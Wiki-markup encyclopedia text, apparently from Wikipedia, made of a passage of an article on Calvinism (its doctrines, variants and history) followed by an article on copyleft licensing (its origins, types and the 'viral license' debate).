Some of the largest Calvinist communions were started by [[19th century|19th]] and [[20th century]] [[missionary|missionaries]]; especially large are those in [[Korea]] and [[Nigeria]].

==General description==
[[Image:Interior of a Church.jpg|thumb|left|200px|Calvinism has been known at times for its simple, unadorned churches and lifestyles, as depicted in this painting by [[Emmanuel de Witte]] where the 17th century congregation stands to hear a sermon.]]
Given that its present form has multiple main tributaries, the name &quot;Calvinism&quot; is somewhat misleading if taken to imply that every major feature of the doctrine of the &quot;Calvinist churches&quot;, or of all Calvinist movements, can be found in the writings of Calvin.  Others are often credited with as much of a final formative influence on what is now called ''Calvinism'' as Calvin himself had: for example Calvin's successor [[Theodore Beza]], the Dutch theologian [[Franciscus Gomarus]], the founder of the [[Presbyterian church]], [[John Knox]], and any number of later writers such as the English Baptist [[John Bunyan]], the American [[Jonathan Edwards]], or neo-orthodox theologians like [[Karl Barth]].

But there is a simple central issue in ''Calvinism'' that often serves to represent the whole, and that is a particular [[soteriology]] (doctrine of [[Salvation#Christian views of salvation#Protestantism|Salvation]]), which emphasizes that man is incapable of adding anything from himself to obtain salvation, and that God alone is the initiator at every stage of salvation, including the formation of faith and every decision to follow Christ. This doctrine was definitively formulated and codified during the [[Synod of Dort]] (1618-1619), which rejected the alternate system known as [[Arminianism]].

Calvinism is sometimes called &quot;Augustinianism&quot; because the central issues of Calvinistic soteriology were articulated by [[Augustine of Hippo|St. Augustine]] in his dispute with the [[Great Britain|British]] [[monk]] [[Pelagius]]. In contrast to the free-will decisionism advocated by [[Charles Finney]] and other dissenters, Calvinism places strong emphasis not only on the abiding goodness of the original creation, but also on the total ruin of man's accomplishments and the frustration of the whole creation caused by sin, and therefore views salvation as a new creating work of God rather than an achievement of those who are saved from sin and death.

More broadly, &quot;Calvinism&quot; is virtually synonymous with &quot;Reformed Protestantism&quot;, encompassing the whole body of doctrine taught by [[Reformed churches]]. In addition to maintaining a Calvinist soteriology, one of the more important features of this system is &quot;the [[regulative principle of worship]]&quot; &amp;mdash; which in principle rejects any form of worship not explicitly instituted for the early church in the [[Holy Bible]].

==Summaries of Calvinist theology==
{{Christian theology}}

===Sovereign grace===
Calvinism stresses the [[total depravity|complete ruin]] of man's ethical nature against a backdrop of the sovereign grace of God in [[salvation]]. It teaches that people are utterly unable to follow God or escape their condemnation before him and that only by drastic divine intervention in which God must overrule their unwilling [[heart (Symbolism and Metaphor)|hearts]] can people be turned from rebellion to willing obedience.

In this view, all people are entirely at the mercy of God, who would be just in condemning all people for their [[sin]]s but has chosen to be merciful to some in order to bring glory to his own name. One person is saved while another is condemned, not because of a willingness, a faith, or any other virtue in the first person, but because God sovereignly chose to have mercy on him. Although the person must act in order to believe and to be saved, this obedience of faith is God's gift according to Calvinism, and thus God accomplishes the salvation of sinners.

In practice, Calvinists teach these doctrines of grace primarily for the encouragement of the church because they believe the doctrines demonstrate the extent of God's love in saving those who could not and would not follow him, as well as squelching pride and self-reliance and falling into the kind arms of the true, Sovereign Lord.  [[Sanctification]] is pursued as a continual trusting in God to purge the Christian's depraved heart from the power of canceled sin and further the Christian's joy. &lt;sup&gt;[http://www.modernreformation.org/jb03gospel.htm]&lt;/sup&gt;

===&amp;quot;Life is religion&amp;quot;===
The theological system and practical theories of church, family, and political life, all ambiguously called &quot;Calvinism&quot;, are the outgrowth of a fundamental religious consciousness that centers on &quot;the sovereignty of God&quot;.  In principle, the doctrine of God has pre-eminent place in every category of theology, including the Calvinist understanding of how a person ought to live.  Calvinism presupposes that the goodness and power of God have a free, unlimited range of activity, and this works out as a conviction that God is at work in all realms of [[existence]], including the [[spirituality|spiritual]], [[physical]], and [[intellectual]] realms, whether [[secular]] or [[sacred]], public or private, on [[earth]] or in [[heaven]].  

According to this viewpoint, the plan of God is worked out in every event. God is seen as the creator, preserver, and governor of each and every thing. This produces an attitude of absolute dependence on God, which is not identified only with temporary acts of piety (for example, [[prayer]]); rather, it is an all-encompassing pattern of life that, in principle, applies to any mundane task just as it also applies to [[Eucharist|taking communion]]. For the Calvinist Christian, all of life is the Christian religion.

===The five points of Calvinism===
{{main|Five points of Calvinism}}

Calvinist theology is often identified in the popular mind as the so-called &quot;five points of Calvinism,&quot; which are a summation of the judgments (or canons) rendered by the [[Synod of Dort]] and which were published as a point-by-point response to the five points of the [[Arminianism|Arminian]] Remonstrance (see [[History of Calvinist-Arminian debate]]). Calvin himself never used such a model, and never combated Arminianism directly.  They therefore function as a summary of the differences between Calvinism and Arminianism but not as a complete summation of Calvin's writings or of the theology of the Reformed churches in general. The central assertion of these canons is that God is able to save every person upon whom he has mercy and that his efforts are not frustrated by the unrighteousness or the inability of men.

The five points of Calvinism, which can be remembered by the [[English language|English]] [[acronym]] TULIP are:

*'''[[Total depravity]]''' (or total inability): As a consequence of the [[Fall of man]], every person born into the world is enslaved to the service of [[sin]]. According to the view, people are not by nature inclined to love God with their whole heart, mind, or strength, but rather all are inclined to serve their own interests over those of their neighbor and to reject the rule of God. Thus, all people by their own faculties are unable to choose to follow God and be saved.
*'''[[Unconditional election]]''': God's choice from [[eternity]] of those whom he will bring to himself is not based on foreseen virtue, merit, or faith in those people. Rather, it is unconditionally grounded in God's mercy.
*'''[[Limited atonement]]''' (or particular redemption or definite atonement): The death of Christ actually takes away the penalty of sins of those on whom God has chosen to have mercy. It is &quot;limited&quot; to taking away the sins of the elect, not of all humanity, and it is &quot;definite&quot; and &quot;particular&quot; because atonement is certain for those particular persons.
*'''[[Irresistible grace]]''' (or efficacious grace): The saving grace of God is effectually applied to those whom he has determined to save (the elect) and, in God's timing, overcomes their resistance to obeying the call of the gospel, bringing them to a saving faith in Christ.
*'''[[Perseverance of the saints]]''' (or preservation of the saints): Any person who has once been truly saved from damnation must necessarily persevere and cannot later be condemned. The word ''saints'' is used in the sense in which it is used in the Bible to refer to all who are set apart by God, not in the technical sense of one who is exceptionally [[holy]], [[canonized]], or in [[heaven]] (see [[Saint]]).

Calvinism is often further reduced in the popular mind to one or another of the five points of TULIP.  The doctrine of unconditional election is sometimes made to stand for all Reformed doctrine, sometimes even by its adherents, as the chief article of Reformed Christianity.  However, according to the doctrinal statements of these churches, it is not a balanced view to single out this doctrine to stand on its own as representative of all that is taught. The doctrine of unconditional election, and its corollary in the doctrine of [[predestination]] are never properly taught, according to Calvinists, except as an assurance to those who seek forgiveness and salvation through Christ, that their faith is not in vain, because God is able to bring to completion all whom He intends to save.  Nevertheless, non-Calvinists object that these doctrines discourage the world from seeking salvation.

An additional point of disagreement with Arminianism implicit in the five points is the Calvinist understanding of the doctrine of Jesus' [[substitutionary atonement]] as a punishment for the sins of the elect, which was developed by [[Augustine of Hippo|St. Augustine]] and especially [[Anselm of Canterbury|St. Anselm]]. Calvinists argue that if Christ takes the punishment in the place of a particular sinner, that person ''must'' be saved since it would be unjust for him then to be condemned for the same sins. The definitive and binding nature of this &quot;[[Atonement (Satisfaction view)|satisfaction model]]&quot; has led Arminians to subscribe instead to the [[Atonement (Governmental view)|governmental theory of the atonement]] in which no particular sins or sinners are in view.

==Attempts to reform Calvinism==
Many efforts have been undertaken to reform Calvinism and especially the doctrine of the Reformed churches.  The most notable and earliest of these was the theological and political movement called [[Arminianism]], already mentioned in connection with the Synod of Dort.

===&amp;quot;Four-point Calvinism&amp;quot;===
{{main|Amyraldism}}

Another revision of Calvinism is called [[Amyraldism]], &quot;hypothetical [[universalism]]&quot;, or &quot;four-point Calvinism&quot;, which drops the point on Limited Atonement in favor of an [[unlimited atonement]] saying that God has provided Christ's atonement for all alike, but seeing that none would believe on their own, he then elects those whom he will bring to faith in Christ, thereby preserving the Calvinist doctrine of [[unconditional election]].

This doctrine was most thoroughly systematized by the French Reformed theologian at the University of [[Saumur]], [[Moses Amyraut]], for whom it is named.  His formulation was an attempt to bring Calvinism more nearly alongside the Lutheran view. It was popularized in England by the Reformed pastor [[Richard Baxter]] and gained strong adherence among the [[Congregationalist church|Congregationalists]] and some [[Presbyterian church|Presbyterians]] in the [[13 colonies|American colonies]], during the [[17th century|17th]] and [[18th century|18th centuries]].  

In the [[United States]], Amyraldism can be found among various [[Evangelicalism|evangelical]] groups, but &quot;five point&quot; Calvinism is prevalent especially in conservative and moderate groups among the [[Reformed churches]], [[Reformed Baptist]]s, and some [[non-denominational]] churches.

===Neo-Orthodoxy===
{{main|Neo-orthodoxy}}

In the mainline Reformed churches, Calvinism has undergone expansion and revision through the influence of [[Karl Barth]] and [[neo-orthodoxy|neo-orthodox]] theology.  Barth was an important Swiss Reformed theologian who began writing early in the 20th century, whose chief accomplishment was to counter-act the influence of [[the Enlightenment]] in the churches, especially as this had led to the toleration of [[Nazism]] in the Germanic countries of Western Europe.  The [[Barmen declaration]] is an expression of the Barthian reform of Calvinism.  Conservative Calvinists (as well as some liberal reformers) regard it as confusing to use the name &quot;Calvinism&quot; to refer to neo-orthodoxy or other liberal revisions stemming from Calvinist churches.

==Other variations in Calvinism==
Besides the traditional movements within the conservative Reformed churches, several trends have arisen through the attempt to provide a contemporary, but theologically conservative approach to the world.

===Neo-Calvinism===
A version of Calvinism that has been adopted by both theological conservatives and liberals gained influence in the [[Netherlands|Dutch]] Reformed churches, late in the [[1800s|19th century]], dubbed &quot;neo-Calvinism&quot;, which developed along lines of the theories of Dutch theologian, statesman and [[journalist]], [[Abraham Kuyper]]. More traditional Calvinist critics of the movement characterize it as a revision of Calvinism, although a conservative one in comparison to modernist Christianity or neo-orthodoxy.  Neo-calvinism, &quot;calvinianism&quot;, or the &quot;reformational movement&quot;, is a response to the influences of [[the Enlightenment]], but generally speaking it does not touch directly on the articles of salvation. Neo-Calvinists intend their work to be understood as an update of the Calvinist [[worldview]] in response to modern circumstances, which is an extension of the Calvinist understanding of salvation to [[science|scientific]], [[society|social]] and [[politics|political]] issues.  To show their consistency with the historic Reformed movement, supporters may cite Calvin's ''[[Institutes of the Christian Religion|Institutes]]'', book 1, chapters 1-3, and other works. In the United States, Kuyperian neo-Calvinism is represented among others, by the ''Center for Public Justice'', a faith-based political [[think-tank]] headquartered in [[Washington, D.C.]]

Neo-Calvinism branched off in more theologically conservative movements in the United States.  The first of these to rise to prominence became apparent through the writings of [[Francis Schaeffer]], who had gathered around himself a group of scholars, and propagated their ideas in writing and through a Calvinist study center in Switzerland, called ''L'Abri''. This movement generated a reawakened social consciousness among [[evangelicalism|Evangelical]]s, especially in response to [[abortion]], and was one of the formative influences which brought about the &quot;[[Moral Majority]]&quot; phenomenon in the United States, in the early 1980s.

===Christian Reconstructionism===
{{main|Christian Reconstructionism}}

Another Calvinist movement called [[Christian Reconstructionism]] is much smaller, more radical, and [[Theocracy|theocratic]], but by some believed to be widely influential in American family and political life. Reconstructionism is a distinct revision of Kuyper's approach, which sharply departs from that root influence through the complete rejection of pluralism, and by formulating suggested applications of the sanctions of Biblical Law for modern civil governments.  These distinctives are the least influential aspects of the movement.  Its intellectual founder, the late [[R.J. Rushdoony|Rousas J. Rushdoony]], based much of his understanding on the [[presuppositional apologetics|apologetical]] insights of [[Cornelius Van Til]], [[professor]] at [[Westminster Theological Seminary]].  It has some influence in the conservative Reformed churches in which it was born, and in Calvinistic Baptist and [[Charismatic]] churches mostly in the United States, Canada, and to a lesser extent in the U.K.  

Reconstructionism aims toward the complete rebuilding of the structures of society on Christian and Biblical presuppositions, not, according to its promoters, in terms of &quot;top down&quot; structural changes, but through the steady advance of the Gospel of Christ as men and women are converted, who then live out their obedience to God in the areas for which they are responsible. In keeping with the [[Theonomy|Theonomic Principle]], it seeks to establish laws and structures that will best instantiate the ethical principles of the [[Bible]], including the [[Old Testament]] as expounded in the case laws and summarized in the [[Decalogue]]. Not a political movement, strictly speaking, Reconstructionism has nonetheless been influential in the development of the [[Christian Right]] and what some critics have called, &quot;[[Dominionism]]&quot;.

===Lapsarianism===
Within [[scholasticism|scholastic]] Calvinist theology, there are two schools of thought over ''when'' and ''whom'' God predestined: [[supralapsarianism]] and [[infralapsarianism]]. The former view, sometimes called &quot;high Calvinism,&quot; argues that before time began God chose people to be saved or condemned before ([[Latin]]: ''supra'') the decree to allow man [[The Fall of Man|to fall]] (Latin: ''lapsare'') from perfection into sin. This view suggests a &quot;double predestination&quot; where some are ordained to salvation and others to damnation.

Infralapsarianism, sometimes called &quot;low Calvinism,&quot; refers to the view that before time began God chose (&quot;elected&quot;) people to be saved in the context of or after (Latin: ''infra'') the decision to allow man to fall.  In this view, God chose to save some people while ''allowing'' (rather than actively ordaining) others to remain in the sin and misery into which they had fallen.  As such, Infralapsarianism avoids the idea that God created some people to be condemned.  

These two views vied with each other at the Synod of Dort (1618), an international body representing Calvinist Christian churches from around [[Europe]], and the judgments that came out of that council sided with infralapsarianism ([[Canons of Dort]], First Point of Doctrine, Article 7). To most modern Calvinists, however, the Lapsarian controversy seems like &quot;splitting hairs,&quot; and it doesn't get much attention today.

===Hyper-Calvinism===
{{main|Hyper-Calvinism}}

Hyper-Calvinism first referred to a heretical view that appeared among the early [[England|English]] [[Particular Baptists]] in the [[1700s]]. Their system denied that the call of the gospel to &quot;[[repentance|repent]] and believe&quot; is directed to every single person and that it is the duty of every person to trust in Christ for salvation.  While this doctrine has always been a minority view, it has not been relegated to the past and may still be found in some small denominations and church communities today.  Among notable groups holding to what may be considered a hyper-Calvinistic view is the notorious [[Westboro Baptist Church]]; however, Westboro goes beyond this to state that &quot;the elect&quot; can be found ''only'' among Westboro members.

The term also occasionally appears in both [[theological]] and [[secular]] controversial contexts, where it usually connotes a negative opinion about some variety of [[determinism]], [[predestination]], or a version of Evangelical Christianity or Calvinism that is deemed by the critic to be unenlightened, harsh, or extreme.

==Usury and capitalism==      

One school of thought about Calvinism long has been that it represented a revolt against the medieval condemnation of [[usury]] and, implicitly, of profit in general, helping to set the stage for the development of [[capitalism]] in northern Europe. Such a connection was advanced in influential works by [[R. H. Tawney]] and by [[Max Weber]].
    
Calvin expressed himself on usury in a letter to a friend, [[Johannes Oecolampadius|Oecolampadius]], in which he criticized the use of certain passages of scripture invoked by people opposed to the charging of interest. He reinterpreted some of these passages, and suggested that others of them had been rendered irrelevant by changed conditions. He also dismissed the argument (based upon the writings of [[Aristotle]]) that it is wrong to charge interest for money because money itself is barren. He said that the walls and the roof of a house are barren, too, but it is permissible to charge someone for allowing him to use them. In the same way, money can be made fruitful.

He qualified his view, however, by saying that money should be lent to people in dire need without hope of interest.

==See also==
===History===
*[[John Calvin]] and [[Arminianism]]:  for more of the history of Calvinism
*[[Jesus]]
*[[Christianity]]
*[[Christian anarchism]]
*[[Crypto-Calvinism]]: [[Germany|German]] [[Protestants]] accused of Calvinist leanings within the [[Lutheran]] church in the late 16th century
*[[Jansenism]]: a group within the Catholic church with doctrinal distinctives very similar to Calvinism
*[[Welsh Methodist revival]], [[1904-1905 Welsh Revival]]
*[[Max Weber]], ''[[The Protestant Ethic and the Spirit of Capitalism]]''

===Doctrine===
*[[Five points of Calvinism]]
*[[Predestination]] and [[Predestination (Calvinism)]]
*[[Imputed righteousness]]
*[[Intercession of saints]] on the rejection of saint cults
*[[Presuppositional apologetics]]: [[apologetics]] from a Calvinist perspective
*[[Christian Right]], [[Dominionism]], [[Dominion Theology]], [[Theocracy]], [[Theonomy]], [[Christian Reconstructionism]]

===People===
*[[:Category:Calvinists]]
*[[Huguenot]]s: followers of Calvinism in France, the [[16th century|16th]] and [[17th century]].
*[[Puritans]]: radical Calvinists in England.
*[[Pilgrims]]: Puritan separatists who left Europe for America in search of [[religious freedom]].
*[[Reformed churches]]: denominations that have historically adhered to Calvinist doctrine.
*[[Sydney Anglicans]]:  an expression of Calvinist and [[Evangelicalism|Evangelical]] thinking within the Anglican Church of Australia.

===Educational institutions===
*[[Calvin College]] and [[Calvinist Theological Seminary]]
*[[Columbia Theological Seminary]]
*[[Covenant College]]
*[[Covenant Theological Seminary]]
*[[Dordt College]]
*[[Greenville Presbyterian Theological Seminary]]
*[[Pittsburgh Theological Seminary]]
*[[Princeton Theological Seminary]]
*[[Redeemer University College]]
*[[Reformed Theological Seminary]]
*[[Westminster Theological Seminary]]
*[[Westminster Seminary California]]
*[[Geneva College]]

==Resources==
*John Calvin (1960). ''Institutes of the Christian Religion''. ISBN 0664220282 (also [http://www.ccel.org/ccel/calvin/institutes.html available online] in an older translation)
*Ford Lewis Battles and John Walchenbach (2001). ''Analysis of the ''Institutes of the Christian Religion'' of John Calvin''. ISBN 0875521827
*John Thomas McNeill (1954). ''The History and Character of Calvinism''. ISBN 0195007433
*[[Andrew Purves]] and Charles Partee (2000). ''Encountering God: Christian Faith in Turbulent Times''. ISBN 0664222420
*[[John Wesley]] (2001). ''Calvinism Calmly Considered''. ISBN 0880194383

==External links==
*[http://www.reformed.org Center for Reformed Theology and Apologetics] - offers many materials of the Calvinist persuasion.
*[http://www.monergism.com Monergism] - classic articles and resources; claims to have the largest collection of Reformed/Calvinist resources on the Internet.
*[http://www.solagratia.org Sola Gratia Ministries] - another site with a wealth of Reformed and Calvinist resources.
*[http://www.the-highway.com The Highway] - many articles from the Reformed perspective and a discussion forum.
*[http://www.thirdmill.org Third Millennium Ministries] - many current articles, audio sermons, and lectures by contemporary Reformed theologians on a variety of topics. Also has an online [[seminary]] curriculum.
*[http://www.the-highway.com/compare.html Calvinism &amp; Arminianism] - a side-by-side comparison of Calvinism and Arminianism
*[http://www.newadvent.org/cathen/03198a.htm Calvinism] from the Catholic Encyclopedia
*[http://www.pressiechurch.org/ Pressiechurch.org The Australian Home of Covenant Theology] Calvinistic and Reformed resources and articles
*[http://www.gotquestions.org/calvinism.html Is Calvinism Biblical?] by GotQuestions.org
*[http://www.theopedia.com/Calvinism Theopedia: Calvinism] (conservative Calvinist perspective)
*&quot;Arminius: The Scapegoat of Calvinism&quot; by Vic Reasoner (Arminian perspective; [http://www.fwponline.cc/v19n1reasoner.html part 1], [http://www.fwponline.cc/v19n2reasoner.html part 2], and [http://www.fwponline.cc/v20n1reasoner2.htm part 3])
* [http://www.crookedlakereview.com/articles/101_135/132summer2004/132shanklin.html Calvinist Childrearing Methodology] from [http://www.crookedlakereview.com/articles/101_135/129fall2003/129shanklin.html A Study of the First Maternal Association of Utica, New York, 1824-1833] by Elizabeth Shanklin

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[[Image:Copyleft.svg|110px|thumb|right|The &quot;reversed ''c''&quot; is the copyleft symbol. It has no recognized legal meaning, unlike its counterpart...]][[Image:Copyright.svg|110px|thumb|right|...the copyright symbol.]] 

&lt;!-- The first paragraph has been changed many times before, so a separate topic is added to the discussion page of this article to help stabilize the Wikipedia short definition of Copyleft.  Please take part in the discussion there to help make improvements to the first paragraph. --&gt;

'''Copyleft''' describes a group of [[license]]s applied to works such as [[Computer software|software]], documents, music, and [[art]]. Whereas [[copyright law]] is seen by the original proponents of copyleft as a way to restrict the right to make and redistribute copies of a particular work, a copyleft license uses copyright law in order to ensure that every person who receives a copy or derived version of a work can use, modify, and also redistribute both the work, and [[Derivative work|derived versions of the work]]. Thus, in a non-legal sense, copyleft is the opposite of copyright. &lt;!--See discussion page of this article--&gt;

Authors and developers use copyleft with their work to include others in improving and elaborating the work as a continuing process.

==History==
The concept of copyleft arose when [[Richard Stallman]] was working on a [[Lisp programming language|Lisp]] interpreter. [[Symbolics]] asked to use the Lisp interpreter, and Stallman agreed to supply them with a public domain version of his work. Symbolics extended and improved the Lisp interpreter, but when Stallman wanted access to the improvements that Symbolics had made to his interpreter, Symbolics refused. Stallman then, in [[1984]], proceeded to work towards eradicating this kind of behavior, which he named [[software hoarding]]. 

As Stallman deemed it impractical in the short term to eliminate copyright law and the wrongs he perceived it perpetuating, he decided to work within the framework of existing [[law]]; he created his own copyright license, the [[GNU General Public License]] (GPL), the first copyleft license. For the first time a copyright holder had taken steps to ensure that the maximal number of rights be perpetually transferred to a program's users, no matter what subsequent revisions anyone made to the original program. This original GPL did not grant rights to the public at large, only those who had already received the program; but it was the best that could be done under existing law. The new license was not at this time given the copyleft label.

==Applying copyleft==
Common practice for using copyleft is to codify the copying terms for a work with a [[license]]. Any such license typically gives each person possessing a copy of the work the same freedoms as the author, including:

# the freedom to use and study the work,
# the freedom to copy and share the work with others,
# the freedom to change the work,
# and the freedom to distribute changed and therefore derivative works.

These freedoms do not ensure that a [[derivative work]] will be distributed under the same liberal terms. In order for the work to be truly copyleft, the license has to [[obligation|ensure]] that the author of a derived work can only distribute such works under the same or equivalent license.

In addition to restrictions on copying, some other possible impediments copyleft licences aim to address include:

*Ensuring the copyleft license conditions can not be [[revoke]]d.
*Ensuring the work and its derivatives are provided in a form that facilitates modification. In [[Computer software|software]], this requires that the derivative form is [[synonym]]ous with the [[source code]]. 
*Requiring [[documentation]] of the work and its modified forms, by way of [[user guide|user manual]]s, or descriptions. {{fact}}

Copyleft licenses necessarily make creative use of relevant rules and laws.  For example, when using [[copyright law]], those who contribute to a work under copyleft usually must gain, defer or assign [[copyright]] holder status.  By submitting the copyright of their contributions under a copyleft license, they deliberately give up some of the rights that normally follow from copyright, including the right to be the unique distributor of copies of the work. {{fact}}

Some laws used for copyleft licenses vary from one country to another, and may also be granted in terms that vary from country to country.  For example, in some countries it is acceptable to sell a software product without warranty, in standard [[GNU GPL]] style (see articles 11 and 12 of [http://www.fsf.org/licenses/gpl.html the GNU GPL license version 2]), while in most [[Europe]]an countries it is not permitted for a software distributor to [[waiver|waive]] all warranties regarding a sold product. For this reason the extent of such warranties are specified in most European copyleft licenses (see the [http://www.inria.fr/valorisation/logiciels/Licence.CeCILL-V1.US.pdf CeCILL license], a license that allows one to use [[GNU GPL]] (see article 5.3.4 of CeCILL) in combination with a limited warranty (see article 9 of CeCILL).

==Etymology==
The term ''copyleft'', according to some sources, came from a message contained in [[Tiny BASIC]], a freely distributed version of [[BASIC_programming_language|BASIC]] written by Dr. [[Li-Chen Wang]] in the late [[1970s]]. The program listing contained the phrases &quot;@COPYLEFT&quot; and &quot;ALL WRONGS RESERVED&quot;, puns on &quot;copyright&quot; and &quot;all rights reserved&quot;, a phrase commonly used in copyright statements. Richard Stallman himself says the word comes from [[Don Hopkins]], whom he calls a very imaginative fellow, who mailed him a letter in [[1984]] or [[1985]] on which was written: &quot;Copyleft&amp;mdash;all rights reversed.&quot; [http://www.gnu.org/gnu/thegnuproject.html] The term [[kopyleft]] with the notation &quot;[[All Rites Reversed]]&quot; was also in use in the early [[1970s]] within the [[Principia Discordia]], which may have inspired Hopkins or influenced other usage.

There are definitional problems with the term &quot;copyleft&quot; which contribute to controversy over it. The term originated as an amusing back-formation from the term &quot;copyright&quot;, and was originally a [[noun]], meaning the copyright license terms of the [[GNU General Public License]] originated by Richard Stallman as part of the [[Free Software Foundation]]'s work. Thus, &quot;your program is covered by the copyleft&quot; is almost considered to mean the same as the program being GPLed. When used as a verb, as in &quot;he copylefted his most recent version&quot;, it is less precise and can refer to any of several similar licenses, or indeed a notional imaginary license for discussion purposes. See also the next section, which goes in detail about some definitional issues.

==Types of copyleft and relation to other licenses==
Copyleft is a distinguishing feature of some [[free software]] licenses.  Copyleft even became a divisive issue in the ideological strife between the [[open source movement]] and the [[free software movement]].[http://www.onlamp.com/pub/a/onlamp/2005/06/30/esr_interview.html] Many [[free software licenses]] are not copyleft licenses because they do not require the licensee to distribute derivative works under the same license. There is an ongoing debate as to which class of license provides the greater degree of freedom. This debate hinges on complex issues such as the definition of [[freedom]] and whose freedoms are more important, or whether to maximize the freedom of all potential future recipients of a work (''freedom from'' the creation of proprietary software).  Non-copyleft [[free software licenses]] maximize the freedom of the initial recipient (''freedom to'' create proprietary software).

===Strong and weak copyleft===
The copyleft governing a work is considered to be &quot;stronger&quot;, to the extent that the copyleft provisions can be efficiently imposed on all kinds of derived works. &quot;Weak copyleft&quot; refers to licenses where not all derived works inherit the copyleft license; whether a derived work inherits or not often depends on the manner in which it was derived.

&quot;Weak copyleft&quot; licences are generally used for the creation of [[software library|software libraries]], to allow other software to link to the library, and then be redistributed without the legal requirement for the work to be distributed under the library's copyleft license.  Only changes to the weak copylefted software itself become subject the copyleft provisions of such a license, not changes to the software that [[link|links]] to it.  This allows programs of any license to be compiled and linked against copylefted libraries such as glibc (a standard library required by many programs), and then redistributed without any re-licensing required.

Two examples of [[free software licenses]] that use strong copyleft are the GNU General Public License and the [[Q Public License]]. Free software licenses that use &quot;weak&quot; copyleft include the [[GNU Lesser General Public License]] (LGPL) [http://www.gnu.org/philosophy/why-not-lgpl.html] and the [[Mozilla Public License]].  Examples of non-copyleft free software licenses include the [[MIT License|X11 license]], [[Apache license]] and the [[BSD license|BSD licenses]].

===Full and partial copyleft===
&quot;Full&quot; and &quot;partial&quot; copyleft relate to another issue: Full copyleft is when all parts of a work (except the license itself) can be modified by consecutive authors. Partial copyleft exempts some parts of the work from the copyleft provisions, thus permitting unrestricted modification, or in  some other way does not impose all the principles of copylefting on the work. For example, in artistic creation full copylefting is sometimes not possible or desirable (see below).

===Share-alike===
Many [[share-alike]] licenses are partial (or non-full) copyleft licenses. Share-alike, however, imposes the requirement that any freedom that is granted regarding the original work (or its copies), must be granted on exactly the same terms in any derived work: this further implies that any ''full'' copyleft license is automatically a share-alike license (but not the other way around!). Instead of using ''copyright's'' &quot;all rights reserved&quot; motto, or ''full copyleft's'' &quot;all rights reversed&quot;, ''share-alike'' licenses rather use the &quot;some rights reserved&quot; statement. Some permutations of the [[Creative_Commons|Creative Commons]] license are examples of share-alike licenses.

==The ideology==
For many people, copyleft is a technique which uses [[copyright]] as a means of subverting the restrictions traditionally imposed by copyright on the dissemination and development of knowledge. This approach uses copyleft primarily as a tool in a broadly scaled [[culture jamming|sniggling]] operation, whose aim is to permanently reverse such restrictions.

While copyleft is not a term in law, it is seen by proponents as a legal tool in a political and ideological debate over intellectual works.  Some see copyleft as a first step in doing away with any kind of copyright law.  In the [[public domain]] the absence of copyleft-like protection leaves software in an unprotected state.  Developers basing their work on public domain originals can spread and sell undocumented [[Binary and text files|binaries]] without providing the source code.  If legal copyright was abolished and without other means, then there would be no method for protecting or enforcing a copyleft license, but the need to do so would also be diminished (except from [[software hoarding]]).

==Is copyleft &quot;viral&quot;?==

Copyleft licenses are sometimes referred to as '''viral copyright licenses''', because any works derived from a copylefted work must themselves be copylefted. This language is often used by those who feel that they may lose out as a result of copyleft provisions. In particular, copyleft works cannot legally be incorporated into works that are to be distributed without source, as is the case with most commercial products, without specific permission from the authors. As a consequence, the use of copyleft in industry is overwhelmingly limited to internal use.

''Viral'' refers to anything, especially anything [[meme]]tic, that propagates itself by attaching itself to something else, regardless of whether the viral components themselves add value to the object to which they attach. Many avoid the term ''viral'' in the context of legally binding contracts and licenses, because of these negative connotations with [[computer virus]]es.

Many people and organisations, including [[Microsoft]], describe the GPL as a &quot;viral license&quot;. Supporters of the GPL say that any release of something new under the GPL would create positive feedback [[network effect]], which would result over time in there being an ever-expanding pool of copylefted code.  

The copylefted code is assumed to be of significant benefit to the person adapting it, as evidenced by their desire to use it, and supporters of the GPL argue that it would be wrong to modify that software and then prevent others from using the modified version under the original license.

Similarly, standard copyrighted programs can be considered &quot;viral&quot; by the same definition, in that anything created from them can only be distributed under the terms imposed by the original author.  Typically these terms will be much more restrictive than any imposed by copyleft licenses.  

Additionally, some popular copyleft licenses such as the GPL have an &quot;at-arms-length&quot; clause specifying that copyleft components can interact with non-copyleft components as long as the communication is relatively simple, such as executing a command-line tool with a set of switches. As a consequence, even if one module of an otherwise non-copyleft product is placed under the GPL, it may still be legal for other components to communicate with it in a limited fashion.

==Copyleft applied outside the context of copyright licensing for software==
===Art &amp;mdash; documents===
Copyleft also inspired the arts (especially where traditional notions of [[intellectual property]] are experienced as hampering creativity and/or creative collaboration and/or easy distribution of art creations), with movements like the [[Libre Society]] and open-source [[record label]]s emerging. For example, the [[Free Art license]] is a copyleft license that can be applied to any work of art.

Copyleft licenses for materials other than software include the [[Creative Commons]] [[share-alike|ShareAlike]] licenses and the [[GNU Free Documentation License]] (abbreviated to GNU FDL, GFDL, or FDL). The GFDL can be used to apply copyleft to works that have no distinguishable [[source code]] (while the GPL's requirement to release source code is meaningless when [[source code]] is not distinguishable from [[compiler|compiled code]] or [[object code]] or [[executable|executable code]] or [[binary code]] in a work). The GFDL does distinguish between a &quot;transparent copy&quot; and an &quot;opaque copy&quot;, using a different definition than the GPL's &quot;source code&quot; vs. &quot;object code&quot;.

In art copyleft has to hinge on broader notions regarding authors' rights, which are even more complex (and more differing between countries) than mere [[copyright law]], see ''e.g.'', [[moral rights]], [[droit d'auteur]], [[intellectual rights]] and [[Berne Convention for the Protection of Literary and Artistic Works]].

In common with the [[Creative_Commons|Creative Commons]] share-alike licensing system, GNU's Free Documentation License allows authors to apply limitations to certain sections of their work, exempting some parts of their creation from the full copyleft mechanism. In the case of the GFDL, these limitations include the use of invariant sections, which may not be altered by future editors.

These types of partially copyleft licenses can also be used outside the context of art: for GFDL this was even the initial intention, as it was originally created as a device for supporting the [[documentation]] of (copylefted) software&amp;mdash;the result is however that it can be used for any kind of document. 

Many artists copyleft their work on terms requiring that those who copy it and then edit it in some way must credit the initial artist.  There are problems with this however - the artist's work may be used in a way that is against his or her will.  If the artist is credited, he or she might then seemingly be associated with an undesireable group or ideology.

===Patents===
Copyleft-like ideas are also increasingly being suggested for patents (so, hinging on a [[patent law]] framework instead of on a [[copyright law]] framework), such as [[open patent]] [[patent pool|pool]]s that allow royalty-free use of patents contributed to the pool under certain conditions (such as surrendering the right to apply for new patents that are not contributed to the pool). This has not taken off, perhaps in part because patents are relatively expensive to obtain, whereas copyright is obtained for free.

